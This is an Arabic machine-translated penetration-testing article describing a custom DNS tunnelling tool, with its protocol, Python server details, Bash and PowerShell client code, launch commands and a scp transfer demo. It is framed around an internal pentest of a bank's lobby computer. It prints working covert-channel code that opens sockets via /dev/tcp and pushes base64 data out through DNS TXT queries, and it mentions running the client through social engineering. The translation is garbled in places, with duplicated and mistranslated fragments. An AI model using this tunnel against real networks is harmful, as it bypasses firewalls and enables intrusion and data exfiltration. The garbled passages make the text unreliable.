
مرحبا في مشاريع اختبار الاختراق ، نواجه غالبًا شبكات مجزأة معزولة تمامًا تقريبًا عن العالم الخارجي. في بعض الأحيان ، لحل هذه المشكلة ، من الضروري إعادة توجيه حركة المرور من خلال البروتوكول الوحيد المتاح - DNS. في هذه المقالة ، سوف نخبرك بكيفية حل مشكلة مماثلة في عام 2018 وما هي المخاطر التي تواجهها في هذه العملية. سيتم أيضًا مراجعة الأدوات المساعدة الشائعة وسيتم تقديم إصدار من الأداة المساعدة مفتوحة المصدر مع ميزات غالبًا ما تكون غير موجودة في الأدوات المماثلة الموجودة.
ما هي أنفاق DNS
هناك بالفعل العديد من المقالات حول Habré التي تشرح ماهية نفق DNS. ومع ذلك ، يمكن العثور على القليل من النظرية حول نفق DNS تحت المفسد.
ما هو نفق DNS؟يحدث أن الوصول إلى الشبكة قد تم قطعه بإحكام بواسطة جدار الحماية ، وتحتاج إلى نقل البيانات بشكل سيء للغاية ، ومن ثم تأتي تقنية نفق DNS في عملية الإنقاذ.
في المخطط ، كل شيء يبدو كما يلي:

لا تزال استعلامات DNS ، حتى مع إعدادات جدار الحماية الأكثر صرامة ، تمر في بعض الأحيان ، ويمكنك استخدامها عن طريق الإجابة عليها من خادمك الموجود على الجانب الآخر. سيكون الاتصال بطيئًا للغاية ، ولكن هذا يكفي لاختراق الشبكة المحلية للمؤسسة أو ، على سبيل المثال ، للوصول بشكل عاجل إلى الإنترنت عبر شبكة Wi-Fi مدفوعة في الخارج.
ما هو شعبي في الوقت الراهن
الآن على الإنترنت ، يمكنك العثور على العديد من الأدوات المساعدة لتشغيل هذه التقنية - لكل منها ميزاته وأخطاءه الخاصة. اخترنا الخمسة الأكثر شعبية للاختبار المقارن:
- dnscat2
- اليود
- dns2tcp
- هيوكا
- OzymanDNS
يمكنك قراءة المزيد حول كيفية اختبارنا لها في مقالتنا على Hacker . هنا نقدم فقط النتائج.

كما ترون من النتائج ، يمكنك العمل ، ولكن من وجهة نظر اختبار الاختراق ، هناك عيوب:
- عملاء مترجمون - على الأجهزة المزودة بمضادات فيروسات ، من الأسهل بكثير تشغيل شيء يتم تفسيره من ملف ثنائي ؛
- عمل غير مستقر تحت ويندوز ؛
- الحاجة إلى تثبيت برامج إضافية في بعض الحالات.
بسبب هذه العيوب ، كنا بحاجة إلى تطوير أداتنا الخاصة ، وهكذا اتضح ...
قم بإنشاء أداة نفق DNS الخاصة بك
الخلفية
بدأ كل شيء خلال المكبوت الداخلي لبنك واحد. في اللوبي كان هناك جهاز كمبيوتر عام يستخدم لطباعة الوثائق والشهادات والأوراق الأخرى. هدفنا: الحصول على أقصى استفادة من جهاز يعمل بنظام التشغيل Windows 7 ، وكان Kaspersky Anti-Virus على متن الطائرة وسمح بالوصول إلى صفحات معينة فقط (ولكن في نفس الوقت كان من الممكن حل أسماء DNS).
بعد إجراء التحليل الأولي والحصول على بيانات إضافية من السيارة ، قمنا بتطوير العديد من متجهات الهجوم. تمت إزالة مسارات تشغيل الجهاز باستخدام البرامج الثنائية على الفور ، حيث اكتشف "Kaspersky" "الكبير والرائع" على الفور محو ملف قابل للتنفيذ. ومع ذلك ، تمكنا من الحصول على فرصة لتشغيل البرامج النصية نيابة عن المسؤول المحلي ، وبعدها كانت إحدى الأفكار هي مجرد إمكانية إنشاء نفق DNS.
بالبحث عن الأساليب الممكنة ، وجدنا عميلًا على PowerShell لـ dnscat2 (كتبنا عنه سابقًا). ولكن في النهاية ، كان الحد الأقصى الذي تمكنا من إنتاجه هو تأسيس اتصال لفترة قصيرة ، وبعد ذلك تحطم العميل.
هذا ، بعبارة ملطفة ، أزعجنا بشدة ، لأنه في هذه الحالة كان وجود عميل مترجم ضروريًا ببساطة. في الواقع ، كان هذا أحد أسباب تطوير أداة خاصة بنا لنفق DNS.
المتطلبات
متطلباتنا الرئيسية لأنفسنا هي:
- وجود عملاء عالميين (قدر الإمكان) والمترجمين لأنظمة Unix و Windows. للعملاء ، تم اختيار bash و Powershell ، على التوالي. في المستقبل ، يتم تخطيط عميل Perl لـ unix ؛
- القدرة على إعادة توجيه حركة المرور من تطبيق معين ؛
- دعم عملاء متعددين لمستخدم واحد.
هندسة المشاريع
بناءً على المتطلبات ، بدأنا التطوير. في رأينا ، تتكون الأداة من 3 أجزاء: عميل على الجهاز الداخلي ، وخادم DNS ، ووكيل صغير بين تطبيق pentester وخادم DNS.

بادئ ذي بدء ، قررنا إعادة توجيه النفق عبر سجلات TXT.
مبدأ العملية بسيط للغاية:
- Pentester تطلق خادم DNS.
- يقوم pentester (أو مستخدم ، من خلال الهندسة الاجتماعية) بإطلاق عميل على جهاز داخلي. على العميل ، توجد معلمات مثل اسم العميل والمجال ، وهناك أيضًا إمكانية تحديد عنوان IP لخادم DNS مباشرةً.
- يبدأ pentester (من شبكة خارجية) بالبروكسي ، حيث يشير إلى عنوان IP لخادم DNS ، وكذلك المنفذ الذي يجب أن يطرق به ، أهداف IP (على سبيل المثال ، ssh على الشبكة الداخلية حيث يجلس العميل) ، وبالتالي ، المنفذ المستهدف. مطلوب معرف العميل أيضًا ، والذي يمكن الحصول عليه عن طريق إضافة مفتاح -
--clients
. - يقوم Pentester بإطلاق تطبيق الاهتمام به ، مشيرًا إلى منفذ الوكيل إلى المضيف المحلي.
بروتوكول الاتصالات
النظر في بروتوكول بسيط إلى حد ما للتواصل بين الخادم والعميل.
تسجيل
عندما يبدأ العميل ، فإنه يسجل مع الخادم ، وطلب سجل TXT من خلال نطاق فرعي بالتنسيق التالي:
0<7 random chars><client name>.<your domain>
0 - مفتاح التسجيل
<7 random chars>
- لتجنب التخزين المؤقت لسجلات DNS
<client name>
- الاسم المعطى للعميل عند بدء التشغيل
<your domain>
- على سبيل المثال: xakep.ru
في حالة التسجيل الناجح ، يتلقى العميل رسالة نجاح في استجابة TXT ، وكذلك المعرف المخصص له ، والذي سيستمر في استخدامه.
الدورة الرئيسية
بعد التسجيل ، يبدأ العميل في الاستعلام عن الخادم عن مدى توفر البيانات الجديدة بالتنسيق
1<7 random chars><id>.<your domain>
إذا كانت هناك بيانات جديدة ، في استجابة TXT ، فإنها تستقبلها بالتنسيق
<id><target ip>:<target port>:<data in base64>
، وإلا ، <id>ND
يأتي.
دورة تحميل البيانات
يتحقق العميل في حلقة لمعرفة ما إذا كانت البيانات تأتي من <target>
. إذا كان هناك إجابة ، فسوف نقرأ ، من ما وصل ، 250-<len_of_your_domain>-< >
بحجم N Kb ، 250-<len_of_your_domain>-< >
إلى كتل 250-<len_of_your_domain>-< >
وإرسال كتلة البيانات حسب الكتلة بالتنسيق:
2<4randomchars><id><block_id>.<data>.<your_domain>
إذا نجح نقل الكتلة ، ENDBLOCK
على موافق مع بعض البيانات حول الكتلة المنقولة ؛ وفي حالة الانتهاء من نقل المخزن المؤقت ، نحصل على ENDBLOCK
.
خادم DNS
تمت كتابة خادم DNS النفقي في Python3 باستخدام مكتبة dnslib ، مما يجعل من السهل إنشاء محلل DNS الخاص بك عن طريق الوراثة من كائن dnslib.ProxyResolver وتجاوز طريقة العزم ().
يتيح لك dnslib العظيم إنشاء proxyDNS الخاص بك بسرعة كبيرة:
قليلا من رمز الخادم class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler):
في العزم () ، نحدد الاستجابات لاستعلامات DNS من العميل: التسجيل ، وطلب سجلات جديدة ، وبيانات إعادة النشر ، وحذف المستخدم.
نقوم بتخزين معلومات حول المستخدمين في قاعدة بيانات SQLite ، وتقع حافظة البيانات في ذاكرة الوصول العشوائي ولديها البنية التالية ، حيث يكون المفتاح هو رقم العميل:
{ { "target_ip": "192.168.1.2", # IP “” - "target_port": "", # “” "socket": None, # "buffer": None, # "upstream_buffer": b'' # }, ... }
لوضع البيانات من المكب في المخزن المؤقت ، كتبنا "المتلقي" الصغيرة ، التي يتم إطلاقها في دفق منفصل. يمسك اتصالات من المكب ويقوم بتنفيذ التوجيه: إلى أي عميل لإرسال الطلبات.
قبل بدء تشغيل الخادم ، يحتاج المستخدم إلى تعيين معلمة واحدة فقط: DOMAIN_NAME - اسم المجال الذي سيعمل عليه الخادم.
باش العميل
تم اختيار Bash لكتابة عميل لأنظمة Unix ، لأنه غالبًا ما يوجد في أنظمة Unix الحديثة. يوفر Bash القدرة على الاتصال من خلال / dev / tcp / ، حتى مع حقوق المستخدم غير المحدودة.
لن نقوم بتحليل كل جزء من التعليمات البرمجية بالتفصيل ، نلقي نظرة فقط على النقاط الأكثر إثارة للاهتمام.
مبدأ العميل بسيط. للتواصل مع DNS ، يتم استخدام أداة dig
القياسية. يسجل العميل مع الخادم ، وبعد ذلك ، في الدورة الدائمة ، يبدأ في تلبية الطلبات باستخدام البروتوكول الموضح سابقًا. تحت المفسد أكثر.
اقرأ المزيد عن عميل Bashيتم إجراء فحص لتحديد ما إذا كان قد تم إنشاء اتصال ، وإذا كان الأمر كذلك ، يتم تنفيذ وظيفة الرد (قراءة البيانات المستلمة من الهدف ، وتقسيمها وإرسالها إلى الخادم).
بعد ذلك ، يتم التحقق مما إذا كانت هناك بيانات جديدة من الخادم. إذا تم العثور عليها ، فإننا نتحقق مما إذا كان يجب إلغاء الاتصال. تحدث الفجوة نفسها عندما نتلقى معلومات حول الهدف باستخدام ip 0.0.0.0 والمنفذ 00. في هذه الحالة ، نقوم بمسح واصف الملف (إذا لم يكن مفتوحًا ، فلن تكون هناك مشكلات) وتغيير ip ip المستهدف إلى 0.0.0.0 الوارد.
علاوة على ذلك ، نرى ما إذا كانت هناك حاجة لإنشاء اتصال جديد. بمجرد أن تبدأ الرسائل التالية في إرسال بيانات لنا للهدف ، في حالة عدم تطابق عنوان IP السابق مع الحالي (سيكون ذلك بعد إعادة التعيين) ، وتغيير الهدف إلى جديد ، وإنشاء اتصال من خلال الأمر exec 3<>/dev/tcp/$ip/$port
، حيث يكون $ip
هو الهدف ، $port
هو المنفذ الهدف.
نتيجة لذلك ، إذا كان الاتصال قد تم إنشاؤه بالفعل ، فسيتم فك echo -e -n ${data_array[2]} | base64 -d >&3
جزء البيانات الواردة echo -e -n ${data_array[2]} | base64 -d >&3
إلى الواصف عبر الأمر echo -e -n ${data_array[2]} | base64 -d >&3
echo -e -n ${data_array[2]} | base64 -d >&3
، حيث ${data_array[2]}
هو ما حصلنا عليه من الخادم.
while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done
الآن النظر في إرسال وظيفة الرد. أولاً ، نقرأ 2048 بايت من الواصف ونشفّرها فورًا عبر $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0
). ثم ، إذا كانت الإجابة فارغة ، فإننا نخرج من الوظيفة ، وإلا فإننا نبدأ عملية التقسيم والإرسال. لاحظ أنه بعد تشكيل طلب الإرسال عبر الحفر ، يتم التحقق من التسليم للنجاح. إذا نجحت ، فاخرج من الدورة ، وإلا حاول حتى تعمل.
reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi }
بوويرشيل العميل:
نظرًا لأننا كنا بحاجة إلى تفسير كامل والعمل على معظم الأنظمة الحالية ، فإن العميل الأساسي لنظام التشغيل Windows هو الأداة المساعدة nslookup القياسية للاتصال عبر DNS والكائن System.Net.Sockets.TcpClient لتأسيس اتصال على الشبكة الداخلية.
كل شيء بسيط جدا كل تكرار للحلقة هو استدعاء لأمر nslookup باستخدام البروتوكول الموضح سابقًا.
على سبيل المثال ، للتسجيل ، قم بتنفيذ الأمر:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
في حالة حدوث أخطاء ، فإننا لا نعرضها ، وإرسال قيم واصف الخطأ إلى $ null.
إرجاع NSLOOKUP إجابة مماثلة:

بعد ذلك نحتاج إلى مد جميع الأسطر بعلامات اقتباس ، والتي نمر بها خلال موسم منتظم:
$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }
الآن يمكنك معالجة الأوامر المستلمة.
في كل مرة يتغير عنوان IP لـ "الضحية" ، يتم إنشاء عميل TCP ، ويتم إنشاء اتصال ويبدأ نقل البيانات. من خادم DNS ، يتم فك ترميز base64 ، ويتم إرسال وحدات البايت إلى الضحية. إذا أجاب "الضحية" على شيء ما ، فسنقوم بترميزه وتنقسمه إلى أجزاء وتنفيذ طلبات nslookup وفقًا للبروتوكول. هذا كل شيء.
عندما تضغط على Ctrl + C ، يتم تنفيذ طلب حذف العميل.
الوكيل:
الوكيل للخادم هو خادم وكيل صغير في بيثون 3.

في المعلمات التي تحتاج إليها لتحديد IP الخاص بخادم DNS ، والمنفذ الذي تتصل به بالخادم ، فإن الخيار - العملاء يعيدون قائمة بالعملاء المسجلين ، --target - target ip
، --target_port - target port
، - العميل - معرف العميل الذي --client
معه العمل (ينظر بعد تنفيذ - --clients
) ، - --send_timeout
- مهلة لإرسال الرسائل من التطبيق.
عند بدء التشغيل باستخدام معلمة - --clients
، يرسل الوكيل طلبًا إلى الخادم بالتنسيق \x00GETCLIENTS\n
.
في حالة بدء العمل ، عند الاتصال ، نرسل رسالة بالتنسيق \x02RESET:client_id\n
لإعادة تعيين الاتصال السابق. بعد أن نرسل معلومات حول هدفنا: \x01client_id:ip:port:\n
علاوة على ذلك ، عند إرسال رسائل إلى العميل ، نرسل البايتات بتنسيق \x03data
، \x03data
ببساطة بايتات خام إلى التطبيق.
أيضا ، الوكيل يدعم وضع SOCKS5.
ما الصعوبات التي قد تنشأ؟
كما هو الحال مع أي آلية ، قد تفشل الأداة المساعدة. دعونا لا ننسى أن نفق DNS هو شيء رقيق ، ويمكن للعديد من العوامل التأثير على تشغيله ، من بنية الشبكة إلى جودة الاتصال بخادم الإنتاج الخاص بك.
أثناء الاختبار ، لاحظنا في بعض الأحيان مواطن الخلل الصغيرة. على سبيل المثال ، عند سرعات طباعة عالية ، من خلال العمل على ssh ، يجدر تعيين المعلمة --send_timeout
، حيث يبدأ العميل في التجميد بخلاف ذلك. أيضًا ، في بعض الأحيان قد لا يتم إنشاء الاتصال في المرة الأولى ، ولكن يمكن معالجته بسهولة عن طريق إعادة تشغيل الخادم الوكيل ، حيث سيتم إعادة تعيين الاتصال أثناء الاتصال الجديد. كانت هناك أيضًا مشاكل في تحليل المجال عند العمل مع سلاسل البروكسي ، ولكن هذا قابل للتثبيت أيضًا إذا حددت معلمة إضافية لوكلاء البروكسي. تجدر الإشارة إلى أنه في الوقت الحالي لا تتحكم الأداة في مظهر الطلبات غير الضرورية من خوادم DNS للتخزين المؤقت ، لذلك قد يفشل الاتصال في بعض الأحيان ، ومع ذلك ، تتم معالجة هذا الأمر مرة أخرى باستخدام الطريقة الموضحة أعلاه.
إطلاق
تكوين سجلات NS على المجال:

ننتظر حتى يتم تحديث ذاكرة التخزين المؤقت (عادة ما تصل إلى 5 ساعات).
نبدأ الخادم:
python3 ./server.py --domain oversec.ru
إطلاق العميل (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1
نبدأ العميل (وين):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2
لنرى قائمة العملاء المتصلين:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients
قم بتشغيل الوكيل:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1
اختبار:
بعد بدء تشغيل الخادم وعميل واحد على الأقل ، يمكننا الوصول إلى الخادم الوكيل كما لو كان الجهاز البعيد.
دعنا نحاول محاكاة الموقف التالي: يريد pentester تنزيل ملف من خادم من الشبكة المحلية لمؤسسة محمية بواسطة جدار حماية ، أثناء استخدام أساليب الهندسة الاجتماعية ، كان قادرًا على إجبار عميل DNS على التشغيل داخل الشبكة ومعرفة كلمة مرور خادم SSH.
يقوم Pentester على الجهاز الخاص به ببدء تشغيل وكيل ، مما يشير إلى العميل الضروري ، ويمكنه بعد ذلك إجراء مكالمات مماثلة سيتم إرسالها إلى العميل ، ومن العميل إلى الشبكة المحلية.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek
دعونا نرى ما حدث:

في الجزء العلوي الأيسر ، يمكنك رؤية استعلامات DNS التي تأتي إلى الخادم ، وحركة الوكيل في الجزء العلوي الأيمن ، وحركة مرور العميل في الجزء السفلي الأيسر ، وتطبيقنا في أسفل اليمين. لقد تحولت السرعة إلى حد كبير على نفق DNS: 4.9 كيلو بايت / ثانية باستخدام الضغط.
عند التشغيل بدون ضغط ، أظهرت الأداة سرعة 1.8 كيلو بايت / ثانية:

دعونا ننظر بعناية في حركة مرور خادم DNS ، لذلك نستخدم الأداة المساعدة tcpdump.
tcpdump -i eth0 udp port 53

نرى أن كل شيء يتوافق مع البروتوكول الموصوف: يقوم العميل دائمًا باستقصاء الخادم عما إذا كان لديه أي بيانات جديدة لهذا العميل باستخدام طلبات النموذج 1c6Zx9Vi39.oversec.ru
. إذا كانت هناك بيانات ، فسيستجيب الخادم بمجموعة من سجلات TXT ، وإلا فإن٪ client_num٪ ND ( 39ND
). يرسل العميل معلومات إلى الملقم باستخدام أنواع من الاستعلامات 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.
في مقاطع الفيديو التالية ، يمكنك أن ترى بوضوح كيف تعمل الأداة المساعدة جنبًا إلى جنب مع عداد المتر ووضع SOCKS5.
النتيجة:
دعنا نلخص قليلا. ما الميزات التي يتمتع بها هذا التطوير ولماذا نوصي باستخدامه؟
- عملاء مترجمون على Bash و Powershell: لا يمكن تشغيل EXE-shnikov و ELF-s.
- استقرار الاتصال: في الاختبارات ، تصرفت فائدتنا أكثر استقرارًا بكثير ، وإذا كان هناك أي أخطاء ، فيمكنك إعادة الاتصال فقط ، بينما لم يتعطل العميل ، كما كان الحال مع dnscat2 ، على سبيل المثال.
- سرعة عالية جدًا لنفق DNS: بالطبع ، لا تصل السرعة إلى اليود ، لكن هناك حلًا برمجيًا منخفض المستوى.
- ليست هناك حاجة إلى حقوق المسؤول: يعمل عميل Bash بدون حقوق المسؤول ، وأحيانًا تكون البرامج النصية لـ Powershell محظورة بموجب سياسات الأمان ، ولكن هذا أمر بسيط للغاية.
- هناك وضع الوكيل socks5 ، والذي يتيح لك القيام بذلك
curl -v --socks5 127.0.0.1:9011 https://ident.me
أو تشغيل nmap على الشبكة الداخلية بأكملها.
رمز المنفعة متاح هنا.